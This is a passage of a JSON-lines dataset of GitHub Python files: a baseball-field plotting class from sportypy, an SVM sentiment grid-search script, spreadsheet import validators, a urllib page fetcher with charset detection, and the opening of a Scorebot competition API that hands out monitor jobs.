and y limits to ensure it\n # lies within the bounds of the field\n if visible and not isinstance(\n feature, baseball_features.FieldConstraint\n ):\n feature_df = feature._translate_feature()\n\n # If the feature doesn't have a limitation on x, set its\n # limits to be its minimum and maximum values of x\n if self._feature_xlim is None:\n self._feature_xlim = [\n feature_df[\"x\"].min(),\n feature_df[\"x\"].max()\n ]\n\n # Otherwise, set the limits to be the smaller of its\n # specified minimum and smallest x value or the larger\n # of its specified maximum and largest x value\n else:\n self._feature_xlim = [\n min(self._feature_xlim[0], feature_df[\"x\"].min()),\n max(self._feature_xlim[1], feature_df[\"x\"].max())\n ]\n\n # If the feature doesn't have a limitation on y, set its\n # limits to be its minimum and maximum values of y\n if self._feature_ylim is None:\n self._feature_ylim = [\n feature_df[\"y\"].min(),\n feature_df[\"y\"].max()\n ]\n\n # Otherwise, set the limits to be the smaller of its\n # specified minimum and smallest y value or the larger\n # of its specified maximum and largest y value\n else:\n self._feature_ylim = [\n min(self._feature_ylim[0], feature_df[\"y\"].min()),\n max(self._feature_ylim[1], feature_df[\"y\"].max())\n ]\n\n # Set the plot's display range\n ax = self.set_plot_display_range(\n ax,\n display_range,\n xlim,\n ylim,\n for_plot = False,\n for_display = True\n )\n\n return ax\n\n def cani_plot_leagues(self, league_code = None):\n \"\"\"Show if a league can be plotted, or what leagues are pre-defined.\n\n A user may wish to know if a specific baseball league can be plotted.\n This method allows a user to check if that specific league code comes\n shipped with ``sportypy`` for easier plotting (if they provide the\n league code), or can also show what leagues are available to be plotted\n\n Parameters\n ----------\n league_code : str or None\n A league code that may or may not be shipped with the package. If\n the league code is ``None``, this will display all leagues that do\n come shipped with ``sportypy11. The default is ``None``\n\n Returns\n -------\n Nothing, but a message will be printed out\n \"\"\"\n # Define all available league codes\n available_league_codes = [k for k in self.league_dimensions.keys()]\n available_league_codes.sort()\n\n # If a user wants to know about a specific league, check if the league\n # comes pre-shipped with the package\n if league_code is not None:\n # Convert the league code to be all lower-case\n league_code = league_code.lower()\n\n # If the league code exists, return it as a list of length 1 with\n # a printed message\n if league_code in available_league_codes:\n print(f\"{league_code.upper()} comes with sportypy and is \"\n \"ready to use!\")\n\n # Otherwise, alert the user that they will need to manually specify\n # the parameters of the league\n else:\n print(f\"{league_code.upper()} does not come with sportypy, \"\n \"but may be parameterized. Use the \"\n \"cani_change_dimensions() to check what parameters are \"\n \"needed.\")\n\n # If no league code is provided, print out the list of all available\n else:\n # Preamble\n print(\"The following baseball leagues are available with \"\n \"sportypy:\\n\")\n\n # Print the current leagues\n for league_code in available_league_codes:\n print(f\"- {league_code.upper()}\")\n\n def cani_color_features(self):\n \"\"\"Determine what features of the field can be colored.\n\n This function is a helper function for the user to aid in plot styling\n and customization. The printed result of this method will be the names\n of the features that are able to be colored\n\n Returns\n -------\n Nothing, but a message will be printed out\n \"\"\"\n # Preamble\n print(\"The following features can be colored via the color_updates \"\n \"parameter, with the current value in parenthesis:\\n\")\n\n # Print the current values of the colors\n for k, v in self.feature_colors.items():\n print(f\"- {k} ({v})\")\n\n # Footer\n print(\"\\nThese colors may be updated with the update_colors() method\")\n\n def cani_change_dimensions(self):\n \"\"\"Determine what features of the field can be re-parameterized.\n\n This function is a helper function for the user to aid in customizing\n a field's parameters. The printed result of this method will be the\n names of the features that are able to be reparameterized. This method\n is also useful when defining new features and using an existing\n league's field dimensions as a starting point\n\n Returns\n -------\n Nothing, but a message will be printed out\n \"\"\"\n # Preamble\n print(\"The following features can be reparameterized via the \"\n \"field_updates parameter, with the current value in \"\n \"parenthesis:\\n\")\n\n # Print the current values of the colors\n for k, v in self.field_params.items():\n print(f\"- {k} ({v})\")\n\n # Footer\n print(\"\\nThese parameters may be updated with the \"\n \"update_field_params() method\")\n\n def update_colors(self, color_updates = {}, *args, **kwargs):\n \"\"\"Update the colors currently used in the plot.\n\n The colors can be passed at the initial instantiation of the class via\n the ``color_updates`` parameter, but this method allows the colors to\n be updated after the initial instantiation and will re-instantiate the\n class with the new colors\n\n Parameters\n ----------\n color_updates : dict\n A dictionary where the keys correspond to the name of the feature\n that's color is to be updated (see ``cani_color_features()`` method\n for a list of these names). The default is an empty dictionary\n\n Returns\n -------\n Nothing, but the class is re-instantiated with the updated colors\n \"\"\"\n # Start by getting the currently-used feature colors\n current_colors = self.feature_colors\n\n # Create a new dictionary to hold the updated colors via dictionary\n # comprehension\n updated_colors = {\n **current_colors,\n **color_updates\n }\n\n # Re-instantiate the class with the new colors\n self.__init__(\n field_updates = self.field_params,\n color_updates = updated_colors\n )\n\n def update_field_params(self, field_param_updates = {}, *args, **kwargs):\n \"\"\"Update the field's defining parameters.\n\n This method should primarily be used in cases when plotting a league\n not currently supported by ``sportypy``\n\n Parameters\n ----------\n field_updates : dict\n A dictionary where the keys correspond to the name of the parameter\n of the field that is to be updated (see\n ``cani_change_dimensions()`` method for a list of these\n parameters). The default is an empty dictionary\n\n Returns\n -------\n Nothing, but the class is re-instantiated with the updated parameters\n \"\"\"\n # Start by getting the currently-used field parameters\n current_field_params = self.field_params\n\n # Create a new dictionary to hold the updated parameters via dictionary\n # comprehension\n updated_field_params = {\n **current_field_params,\n **field_param_updates\n }\n\n # Re-instantiate the class with the new parameters\n self.__init__(\n field_updates = updated_field_params,\n color_updates = self.feature_colors\n )\n\n def reset_colors(self):\n \"\"\"Reset the features of the field to their default color set.\n\n The colors can be passed at the initial instantiation of the class via\n the ``color_updates`` parameter, and through the ``update_colors()``\n method, these can be changed. This method allows the colors to be reset\n to their default values after experiencing such a change\n \"\"\"\n # Re-instantiate the class with the default colors\n default_colors = {\n \"plot_background\": \"#395d33\",\n \"infield_dirt\": \"#9b7653\",\n \"infield_grass\": \"#395d33\",\n \"pitchers_mound\": \"#9b7653\",\n \"base\": \"#ffffff\",\n \"pitchers_plate\": \"#ffffff\",\n \"batters_box\": \"#ffffff\",\n \"catchers_box\": \"#ffffff\",\n \"foul_line\": \"#ffffff\",\n \"running_lane\": \"#ffffff\"\n }\n\n self.__init__(\n field_updates = self.field_params,\n color_updates = default_colors\n )\n\n def reset_field_params(self):\n \"\"\"Reset the features of the field to their default parameterizations.\n\n The field parameters can be passed at the initial instantiation of the\n class via the ``field_updates`` parameter, and through the\n ``update_field_params()`` method, these can be changed. This method\n allows the feature parameterization to be reset to their default values\n after experiencing such a change\n \"\"\"\n # Re-instantiate the class with the default parameters\n default_params = self.league_dimensions[self.league_code]\n\n self.__init__(\n field_updates = default_params,\n color_updates = self.feature_colors\n )\n\n def _get_plot_range_limits(self, display_range = \"full\", xlim = None,\n ylim = None, for_plot = False,\n for_display = True):\n \"\"\"Get the ``x`` and ``y`` limits for the displayed plot.\n\n Parameters\n ----------\n display_range : str\n The range of which to display the plot. This is a key that will\n be searched for in the possible display ranges. The following are\n valid ``display_range``s:\n\n - ``\"full\"``: The entire surface\n - ``\"infield\"``: The infield portion of the baseball diamond\n\n The default is ``\"full\"``\n\n xlim : float or None\n A specific limit on ``x`` for the plot. The default is ``None``\n\n ylim : float or None\n A specific limit on ``y`` for the plot. The default is `None``\n\n for_plot : bool\n Whether the plot range limits are being set for a plot (e.g. a\n model being displayed over the surface). This utilizes the surface\n constraint to restrict the model to be inbounds. The default is\n ``False``\n\n for_display : bool\n Whether the plot range limits are being set for a display (e.g. to\n show the entirety of the surface in the resulting graphic). This\n will ignore the surface constraint in the resulting graphic, but\n the constraint will be respected when drawing features. The default\n is ``False``\n\n Returns\n -------\n xlim : tuple\n The ``x``-directional limits for displaying the plot\n\n ylim : tuple\n The ``y``-directional limits for displaying the plot\n \"\"\"\n # Make the display_range full if an empty string is passed\n if display_range == \"\" or display_range is None:\n display_range = \"full\"\n\n # Copy the supplied xlim and ylim parameters so as not to overwrite\n # the initial memory\n xlim = self.copy_(xlim)\n ylim = self.copy_(ylim)\n\n # If the limits are being gotten for plotting purposes, use the\n # dimensions that are internal to the surface\n if for_plot:\n left_field_distance_x = (\n self.field_params.get(\"left_field_distance\", 0.0) *\n math.cos(3.0 * np.pi / 4.0)\n )\n right_field_distance_x = (\n self.field_params.get(\"right_field_distance\", 0.0) *\n math.cos(np.pi / 4.0)\n )\n left_infield_distance_x = (\n -self.field_params.get(\"infield_arc_radius\", 0.0)\n )\n right_infield_distance_x = (\n self.field_params.get(\"infield_arc_radius\", 0.0)\n )\n backstop_radius_y = -self.field_params.get(\"backstop_radius\", 0.0)\n center_field_distance_y = self.field_params.get(\n \"center_field_distance\",\n 0.0\n )\n home_plate_circle_y = -self.field_params.get(\n \"home_plate_circle_radius\",\n 0.0\n )\n infield_arc_y = (\n self.field_params.get(\n \"pitchers_plate_front_to_home_plate\",\n 0.0\n ) +\n self.field_params.get(\"infield_arc_radius\", 0.0)\n )\n\n # If it's for display (e.g. the draw() method), add in the necessary\n # thicknesses of external features (e.g. running lane and other out of\n # play features)\n if for_display:\n left_field_distance_x = (\n self.field_params.get(\"left_field_distance\", 0.0) *\n math.cos(3.0 * np.pi / 4.0)\n ) + 5.0\n right_field_distance_x = (\n self.field_params.get(\"right_field_distance\", 0.0) *\n math.cos(np.pi / 4.0)\n ) + 5.0\n left_infield_distance_x = (\n -self.field_params.get(\"infield_arc_radius\", 0.0)\n ) - 5.0\n right_infield_distance_x = (\n self.field_params.get(\"infield_arc_radius\", 0.0)\n ) + 5.0\n backstop_radius_y = -(\n self.field_params.get(\"backstop_radius\", 0.0) +\n 5.0\n )\n center_field_distance_y = self.field_params.get(\n \"center_field_distance\",\n 0.0\n ) + 5.0\n home_plate_circle_y = -(\n self.field_params.get(\n \"home_plate_circle_radius\",\n 0.0\n ) + 5.0\n )\n infield_arc_y = (\n self.field_params.get(\n \"pitchers_plate_front_to_home_plate\",\n 0.0\n ) +\n self.field_params.get(\"infield_arc_radius\", 0.0) +\n 5.0\n )\n\n # Set the x limits of the plot if they are not provided\n if not xlim:\n # Convert the search key to lower case\n display_range = display_range.lower().replace(\" \", \"\")\n\n # Get the limits from the viable display ranges\n xlims = {\n # Full surface (default)\n \"full\": (left_field_distance_x, right_field_distance_x),\n \"infield\": (left_infield_distance_x, right_infield_distance_x)\n }\n\n # Extract the x limit from the dictionary, defaulting to the full\n # field\n xlim = xlims.get(\n display_range,\n (left_field_distance_x, right_field_distance_x)\n )\n\n # If an x limit is provided, try to use it\n else:\n try:\n xlim = (xlim[0] - self.x_trans, xlim[1] - self.x_trans)\n\n # If the limit provided is not a tuple, use the provided value as\n # best as possible. This will set the provided value as the lower\n # limit of x, and display any x values greater than it\n except TypeError:\n # Apply the necessary shift to align the plot limit with the\n # data\n xlim = xlim - self.x_trans\n\n # If the provided value for the x limit is beyond the end of\n # the field, display the entire field\n if xlim >= right_field_distance_x:\n xlim = -left_field_distance_x\n\n # Set the x limit to be a tuple as described above\n xlim = (xlim, left_field_distance_x)\n\n # Set the y limits of the plot if they are not provided. The default\n # will be the entire width of the field. Additional view regions may be\n # added here\n if not ylim:\n # Convert the search key to lower case\n display_range = display_range.lower().replace(\" \", \"\")\n\n # Get the limits from the viable display ranges\n ylims = {\n # Full surface (default)\n \"full\": (backstop_radius_y, center_field_distance_y),\n \"infield\": (home_plate_circle_y, infield_arc_y)\n }\n\n # Extract the y limit from the dictionary, defaulting to the full\n # field\n ylim = ylims.get(\n display_range,\n (backstop_radius_y, center_field_distance_y)\n )\n\n # Otherwise, repeat the process above but for y\n else:\n try:\n ylim = (ylim[0] - self.y_trans, ylim[1] - self.y_trans)\n\n except TypeError:\n ylim = ylim - self.y_trans\n\n if ylim >= center_field_distance_y:\n ylim = backstop_radius_y\n\n ylim = (ylim, center_field_distance_y)\n\n # Smaller coordinate should always go first\n if xlim[0] > xlim[1]:\n xlim = (xlim[1], xlim[0])\n if ylim[0] > ylim[1]:\n ylim = (ylim[1], ylim[0])\n\n # Set backup limits in case the limits are the same. This avoids a\n # UserWarning\n if xlim[0] == xlim[1] == 0:\n xlim = (1, -1)\n if ylim[0] == ylim[1] == 0:\n ylim = (1, -1)\n\n # Constrain the limits from going beyond the end of the field (plus one\n # additional unit of buffer)\n xlim = (\n max(xlim[0], left_field_distance_x),\n min(xlim[1], right_field_distance_x)\n )\n\n ylim = (\n max(ylim[0], backstop_radius_y),\n min(ylim[1], center_field_distance_y)\n )\n\n return xlim, ylim\n\n\nclass LittleLeagueField(BaseballField):\n \"\"\"A subclass of ``BaseballField`` specific to Little League.\n\n See ``BaseballField`` class documentation for full description.\n \"\"\"\n\n def __init__(self, field_updates = {}, *args, **kwargs):\n # Initialize the BaseballField class with the relevant parameters\n super().__init__(\n league_code = \"little_league\",\n field_updates = field_updates,\n *args,\n **kwargs\n )\n\n\nclass MiLBField(BaseballField):\n \"\"\"A subclass of ``BaseballField`` specific to MiLB.\n\n See ``BaseballField`` class documentation for full description.\n \"\"\"\n\n def __init__(self, field_updates = {}, *args, **kwargs):\n # Initialize the BaseballField class with the relevant parameters\n super().__init__(\n league_code = \"milb\",\n field_updates = field_updates,\n *args,\n **kwargs\n )\n\n\nclass MLBField(BaseballField):\n \"\"\"A subclass of ``BaseballField`` specific to MLB.\n\n See ``BaseballField`` class documentation for full description.\n \"\"\"\n\n def __init__(self, field_updates = {}, *args, **kwargs):\n # Initialize the BaseballField class with the relevant parameters\n super().__init__(\n league_code = \"mlb\",\n field_updates = field_updates,\n *args,\n **kwargs\n )\n\n\nclass NCAAField(BaseballField):\n \"\"\"A subclass of ``BaseballField`` specific to NCAA baseball.\n\n See ``BaseballField`` class documentation for full description.\n \"\"\"\n\n def __init__(self, field_updates = {}, *args, **kwargs):\n # Initialize the BaseballField class with the relevant parameters\n super().__init__(\n league_code = \"ncaa\",\n field_updates = field_updates,\n *args,\n **kwargs\n )\n\n\nclass NFHSField(BaseballField):\n \"\"\"A subclass of ``BaseballField`` specific to NFHS (high school baseball).\n\n See ``BaseballField`` class documentation for full description.\n \"\"\"\n\n def __init__(self, field_updates = {}, *args, **kwargs):\n # Initialize the BaseballField class with the relevant parameters\n super().__init__(\n league_code = \"nfhs\",\n field_updates = field_updates,\n *args,\n **kwargs\n )\n\n\nclass PonyField(BaseballField):\n \"\"\"A subclass of ``BaseballField`` specific to Pony League Baseball.\n\n See ``BaseballField`` class documentation for full description.\n \"\"\"\n\n def __init__(self, field_updates = {}, *args, **kwargs):\n # Initialize the BaseballField class with the relevant parameters\n super().__init__(\n league_code = \"pony\",\n field_updates = field_updates,\n *args,\n **kwargs\n )\n","repo_name":"sportsdataverse/sportypy","sub_path":"sportypy/surfaces/baseball.py","file_name":"baseball.py","file_ext":"py","file_size_in_byte":52398,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"62"} +{"seq_id":"17286119076","text":"import math\nimport pickle\nimport gzip\nimport numpy as np\nimport pandas\nimport matplotlib.pylab as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split, StratifiedKFold\n\nreviews = pd.read_csv('./data/reviews.csv')\ntrain, test = train_test_split(reviews, test_size=0.2, random_state=5622)\nX_train = train['reviews']\nX_test = test['reviews']\ny_train = train['sentiment']\ny_test = test['sentiment']\n\n\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import TweetTokenizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.svm import SVC\nfrom sklearn.pipeline import make_pipeline, Pipeline\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV\nfrom sklearn.metrics import accuracy_score, f1_score\nfrom sklearn.metrics import confusion_matrix, roc_auc_score, recall_score, precision_score\n\n \n# `CountVectorizer` to vectorize reviews as dictionary of term frequencies.\n# Define the crossvalidation split using `StratifiedKFold`.\n\n\ndef tokenize(text): \n tknzr = TweetTokenizer()\n return tknzr.tokenize(text)\n\nnltk.download('stopwords')\nen_stopwords = set(stopwords.words(\"english\")) \n\nindices_X_trian = list(X_train.index)\ncorpus_X_train = [X_train[idx] for idx in indices_X_trian]\n\nvectorizer = CountVectorizer(tokenizer=tokenize,stop_words=en_stopwords,min_df=6)\nX = vectorizer.fit_transform(X_train)\n# CREATE CountVectorizer using sklearn.feature_extraction.text.CountVectorizer\n\n# split dataset using StratifiedKFold into 5 splits using sklearn.model_selection.StratifiedKFold.\nskf = StratifiedKFold(n_splits=5)\n\n\n# * pipeline with our `CountVectorizer` object \n# * Create and fit a `GridSearchCV` object with the following parameter values:\n# * Linear kernel, $C = 0.01, 1.0, 10.0$\n# * Polynomial kernel, $\\text{degree} = 2, 3$, $\\gamma = 0.1, 0.5, 1$\n# * RBF kernel, $\\gamma = 0.1, 0.5, 1$\n# * Report accuracy on the best estimator from our `GridSearchCV` object.\n\nnp.random.seed(5622)\nsvm_model = SVC(gamma = 'auto')\npipeline_flow = Pipeline([('vectorizer', vectorizer), ('svm_model', svm_model)])\n\n# Create GridSearchCV with pipeline and the grid search parameters given above,\n# using \"accuracy\" for scoring.\n\nparameter_grid = [{'svm_model__C': [0.01,1.0,10.0],\n 'svm_model__kernel':['linear']},\n {'svm_model__degree':[2,3],\n 'svm_model__gamma':[0.1,0.5,1],\n 'svm_model__kernel':['poly']},\n {'svm_model__gamma':[0.1,0.5,1],\n 'svm_model__kernel':['rbf']}]\ngrid_search_svm = GridSearchCV(pipeline_flow, parameter_grid)\n\n_ = grid_search_svm.fit(X_train, y_train)\n\n\n# Report best parameters and CV score from grid search\nprint(\"grid svm best score\",grid_search_svm.best_score_)\nprint(\"grid svm best parameters\",grid_search_svm.best_params_)\n\n\n# Choose the best performing kernel and parameter values from your coarse scale grid search and use them to set up a narrower range of parameter values. We will use randomized grid search to sample a fixed number of these candidate parameter sets for cross validation. The number of sampled parameter sets `n_iter` provides a trade-off between computational cost and quality of the \"optimal\" parameters. Feel free to experiment with different values of this parameter, but please change it back to `n_iter = 5` before submitting your assignment.\n\n# Set random seed for deterministic output\nnp.random.seed(5622)\n\npipeline_svm = Pipeline([('vectorizer', vectorizer), ('svm_model', svm_model)])\nparameter_grid = {'svm_model__C': [0.005,0.008,0.01,0.012,0.015],\n 'svm_model__kernel':['linear']}\n\nkfolds = skf\nn_iter = 5\nrandom_svm = RandomizedSearchCV(pipeline_svm,\n parameter_grid,\n n_iter=n_iter,\n cv = kfolds,\n scoring=\"accuracy\",\n verbose=1, \n n_jobs=-1)\n\n_ = random_svm.fit(X_train, y_train)\n\n# Report best parameters and CV score from grid search\nprint(random_svm.best_params_ )\nprint(random_svm.best_estimator_ )\nprint(random_svm.cv_results_)\n\n\ndef report_results(model, X, y):\n pred = model.predict(X) \n acc = accuracy_score(y, pred)\n f1 = f1_score(y, pred)\n prec = precision_score(y, pred)\n rec = recall_score(y, pred)\n result = {'f1': f1, 'acc': acc, 'precision': prec, 'recall': rec}\n return result\n\nreport_results(random_svm.best_estimator_, X_test, y_test)\n\n\n# f1-score: 0.876,
\n# accuracy: 0.874,
\n# precision: 0.869,
\n# recall: 0.883\n\n\n\n\n\n","repo_name":"lokinSai/lokinSai-git-projects","sub_path":"SVM_kernel-gridsearch.py","file_name":"SVM_kernel-gridsearch.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28215860856","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals, print_function\nimport datetime\nfrom flask import flash\n\n# translate excel date from int to date\n__s_date = datetime.date(1899, 12, 31).toordinal() - 1\n\n\ndef get_date(d):\n if isinstance(d, float):\n d = int(d)\n elif isinstance(d, basestring):\n return d\n\n d = datetime.date.fromordinal(__s_date + d)\n return d.strftime(\"%Y-%m-%d\")\n\n\ndef get_department(dp):\n return dp.replace('COMPUTING', '').replace('PDG', '').strip().upper()\n\n\ndef check_empty(name, val, row, t, errors):\n if not isinstance(val, basestring):\n val = unicode(val)\n\n if val.strip():\n return True\n\n errors.append(t('require_with').format(row=row + 1, name=t(name)))\n return False\n\n\ndef check_unique(model, name, row, spec, t, errors, update=False):\n objs = model.find(spec=spec, limit=2)\n if objs.count == 0:\n return True\n elif objs.count == 1 and update:\n return True\n\n val = objs.next()[name.split('.')[-1]]\n errors.append(t('exists_with').format(row=row + 1,\n val=val,\n name=t(name),\n )\n )\n return False\n\n\ndef check_str(name, val, row, t, errors):\n if instance(val, basestring):\n return True\n\n errors.append(t('require_string').format(row=row + 1,\n name=t(name),\n val=val,\n )\n )\n return False\n\n\n# null = True, the value can be empty\ndef check_int(name, val, row, t, errors, null=True):\n if isinstance(val, float) and val.is_integer():\n return True\n\n if isinstance(val, basestring):\n if null and not val.strip():\n return True\n\n try:\n float(val)\n return True\n except:\n pass\n\n errors.append(t('require_int').format(row=row + 1,\n name=t(name),\n val=val,\n )\n )\n return False\n\n\n# null = True, the value can be empty\ndef check_float(name, val, row, t, errors, null=True):\n if isinstance(val, float):\n return True\n\n if isinstance(val, basestring):\n if null and not val.strip():\n return True\n\n try:\n float(val)\n return True\n except:\n pass\n\n errors.append(t('require_float').format(row=row + 1,\n name=t(name),\n val=val,\n )\n )\n return False\n\n\ndef show_dup_error(name, val, row, t, lines, errors):\n errors.append(t('dup_with').format(row=row + 1,\n name=t(name),\n val=val,\n lines=lines,\n )\n )\n\n\ndef validate_headers(maps, required_keys):\n for k in required_keys:\n if k not in maps:\n return False\n\n return True\n\n\ndef check_dup(name, rv, i, pool, t, errors):\n val = rv[name.split('.')[-1]]\n if isinstance(val, (int, float)):\n val = unicode(float(val)).split('.')[0]\n\n val = val.strip().upper()\n if not val:\n return False, val\n\n error = False\n if val not in pool:\n pool[val] = []\n else:\n error = True\n lines = [line for line in pool[val]]\n show_dup_error(name, val, i, t, lines, errors)\n\n pool[val].append(i + 1)\n return error, val\n","repo_name":"hlzz23/AssetSystem","sub_path":"assetapp/utils/import_utils.py","file_name":"import_utils.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42889531004","text":"#!/usr/bin/python3 \n#coding=utf-8\n'''\n作者:张永涛 \n编写时间:2018年11月29日\n\n网络爬虫的获取页面代码包。\n输入:请求参数。URL等http头参数\n输出:响应状态及获取的数据\n\n'''\nfrom urllib import request as ur\nfrom urllib import error\nfrom urllib import parse\n\nfrom bs4 import BeautifulSoup #解析html页面代码\n\nclass getPage:\n #URL\n url=\"\"\n #访问页面的头部属性。headers = {'Referrer':'no-referrer-when-downgrade'}\n headers = {}\n #数据。可以是GET、POST。data={'name':'zyt','pwd':'zyt'}\n data={}\n #提交数据的编码方式\n dataEncoding=\"\"\n\n def __init__(self):\n #定义默认头部\n self.headers['Referrer'] ='no-referrer-when-downgrade'\n self.headers['Connection'] ='keep-alive'\n self.headers['User-Agent'] ='Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'\n self.dataEncoding=\"gbk\"\n\n #GET请求\n #附加请求数据字符串。对原URL中是否已经包含了请求数据,做区分处理。\n def requestGet(self):\n #制作GET请求url串。把请求数据转码。附加请求数据。\n #data={'name':'中国','pwd':'zyt'}\n #制作后的URL http://www.sy139.com?name=%E4%B8%AD%E5%9B%BD&pwd=zyt\n #此处转码格式为gbk。如果抓取的网页不是gbk格式,需要修改\n #判断是否有请求数据。有则附加数据\n if self.data :\n #请求数据不为空\n #判断原有URL串中是否已经附加了参数。以?为标识进行判断\n if self.url.find(\"?\") ==-1 :\n #没有附加参数\n url=self.url+\"?\"+parse.urlencode(query=self.data,encoding=self.dataEncoding )\n else:\n url=self.url+\"&\"+parse.urlencode(query=self.data,encoding=self.dataEncoding )\n #print(\"data不为空\"+url)\n else:\n #请求数据为空\n url=self.url\n #print(\"data为空\"+url) \n #print(\"URL:\"+url)\n #return {'StatusCode':'', 'HtmlCode':''}\n #定义请求\n req = ur.Request(url=url,headers=self.headers)\n return self.__request(reqObj=req)\n\n\n\n #POST请求\n def requestPost(self):\n #把post请求数据转化成二进制码\n postData = parse.urlencode(self.data).encode('utf-8')\n #定义请求\n req = ur.Request(url=self.url,headers=self.headers,data=postData)\n return self.__request(reqObj=req)\n\n\n\n def __request(self,reqObj):\n #返回数据{'响应状态':'', '响应页面代码':''}\n r = {'StatusCode':'', 'HtmlCode':''}\n try:\n #打开网页\n httpResponse=ur.urlopen(reqObj,timeout=20)\n pageHtml=\"\"\n if httpResponse.getcode()==200:\n pageHtml=httpResponse.read()\n #获取网页的编码类型\n #查找网页的编码方式\n pageCodeType=self.__findCharset(pageHtml=pageHtml[0:700])\n #为提高效率,没有使用自动获取网页编码类型方法,在此直接写成gbk\n #pageCodeType=\"utf-8\"\n #print(\"pageCodeType:\"+pageCodeType)\n r['StatusCode']=\"200\"\n r['HtmlCode']= str(pageHtml, pageCodeType)\n #print(r['HtmlCode'])\n else:\n print(\"打开网页失败:\" + httpResponse.getcode())\n r['StatusCode']=httpResponse.getcode()\n r['HtmlCode']=\"\"\n except error.URLError as e:\n print(\"网络访问失败(__request(self,reqObj))。报错信息:\" + str(e.reason))\n r['StatusCode']=str(e.reason)\n r['HtmlCode']=\"\"\n return r\n\n #查找网页的编码方式。兼容两种格式的编码写法。\n #格式如下:\n #\n #\n #从网页代码中找出charset=gbk中的gbk。用于网页的转码\n #输入网页代码\n #输出编码方式\n\n def __findCharset(self,pageHtml):\n #定义网页解析对象。\n #print(\"出错测试\")\n #下面代码会报错:Some characters could not be decoded, and were replaced with REPLACEMENT CHARACTER.\n #页面编码不一致导致的错误。\n soup = BeautifulSoup(pageHtml, 'html.parser')\n #print(str(soup))\n contentCharset=\"\"\n charset=\"gbk\"\n charset1=None\n charset2=None\n #查找meta遍历\n for content in soup.find_all('meta'):\n #解析第一种格式,如果发现content=\"text/html;charset=gbk\" ,取出gbk\n try:\n if content.get('content').find(\"charset=\") !=-1 :\n contentCharset=content.get('content')\n #把text/html;charset=gbk中的text/html;charset替换掉。去掉空格\n charset1=contentCharset.replace('text/html','').replace(';','').replace('charset=','').strip() \n if charset1 !=None:\n break \n except:\n pass #此句没有实际用处\n #解析第二种格式,如果发现。取出UTF-8\n try:\n charset2=content.get('charset')\n if charset2 !=None:\n break\n except:\n pass #此句没有实际用处\n\n #判断编码类型\n if charset1 !=None:\n charset=charset1\n elif charset2 !=None:\n charset=charset2\n #返回gbk\n return charset\n\n","repo_name":"glhlr/DaiMeng","sub_path":"DaiMeng/program/business0530/getPage.py","file_name":"getPage.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4574847045","text":"import json\nimport uuid\nimport random\n\nfrom datetime import timedelta\nfrom django.utils import timezone\nfrom scorebot.utils import logger\nfrom django.db.transaction import atomic\nfrom scorebot_grid.models import Flag, Host\nfrom django.shortcuts import render, reverse\nfrom scorebot_api.forms import Scorebot2ImportForm, CreateEventForm, EventMessageForm\nfrom django.views.decorators.csrf import csrf_exempt\nfrom netaddr import IPNetwork, IPAddress, AddrFormatError\nfrom scorebot.utils.constants import CONST_GAME_GAME_RUNNING\nfrom scorebot_core.models import Monitor, token_create_new, Token\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom scorebot.utils.general import authenticate, game_team_from_token, dump_data\nfrom scorebot.utils import (\n api_info,\n api_debug,\n api_error,\n api_warning,\n api_score,\n api_event,\n)\nfrom scorebot_game.models import (\n GameMonitor,\n Job,\n Game,\n GamePort,\n GameTeam,\n GameCompromise,\n Purchase,\n GameCompromiseHost,\n GameTicket,\n GameEvent,\n)\nfrom django.http import (\n HttpResponseBadRequest,\n HttpResponseForbidden,\n HttpResponse,\n HttpResponseNotFound,\n HttpResponseServerError,\n HttpResponseRedirect,\n)\n\n\nMETHOD_GET = \"GET\"\nMETHOD_POST = \"POST\"\n\n\nclass ScorebotAPI:\n @staticmethod\n @csrf_exempt\n @authenticate()\n def api_job(request):\n try:\n monitor = Monitor.objects.get(access=request.authentication)\n except Monitor.DoesNotExist:\n api_error(\n \"JOB\",\n \"Attempted to request a Job without Monitor permissions!\",\n request,\n )\n return HttpResponseForbidden(\n '{\"message\": \"SBE API: Only registered Monitors may request Jobs!\"}'\n )\n game_monitors = GameMonitor.objects.filter(\n monitor=monitor, game__status=CONST_GAME_GAME_RUNNING\n )\n if len(game_monitors) == 0:\n api_error(\n \"JOB\",\n 'Monitor \"%s\" attempted to request a Job but is not registered in any Games!'\n % monitor.name,\n request,\n )\n return HttpResponseForbidden(\n '{\"message\": \"SBE API: Not registered with any running Games!\"}'\n )\n if request.method == METHOD_GET:\n games_max = len(game_monitors)\n api_debug(\n \"JOB\",\n 'Monitor \"%s\" is requesting a Job and has \"%d\" Games to choose from!'\n % (monitor.name, games_max),\n request,\n )\n for game_round in range(0, games_max):\n game_monitor = random.choice(game_monitors)\n api_debug(\n \"JOB\",\n 'Monitor \"%s\" has picked game \"%s\"!'\n % (monitor.name, game_monitor.game.name),\n request,\n )\n job_data = game_monitor.create_job()\n if job_data:\n dump_data(\"job-%s\" % game_monitor.monitor.name, job_data)\n del game_monitor\n return HttpResponse(status=201, content=job_data)\n del game_monitor\n del monitor\n del games_max\n del game_monitors\n return HttpResponse(\n status=204,\n content='{\"message\": \"SBE API: No Hosts available! Try later.\"}',\n )\n elif request.method == METHOD_POST:\n api_debug(\n \"JOB\", 'Monitor \"%s\" is submitting a Job!' % monitor.name, request\n )\n try:\n decoded_data = request.body.decode(\"UTF-8\")\n except UnicodeDecodeError:\n api_error(\n \"JOB\",\n 'Job submitted by Monitor \"%s\" is not encoded properly!'\n % monitor.name,\n request,\n )\n return HttpResponseBadRequest(\n '{\"message\": \"SBE API: Incorrect encoding, please use UTF-8!\"}'\n )\n try:\n job_json = 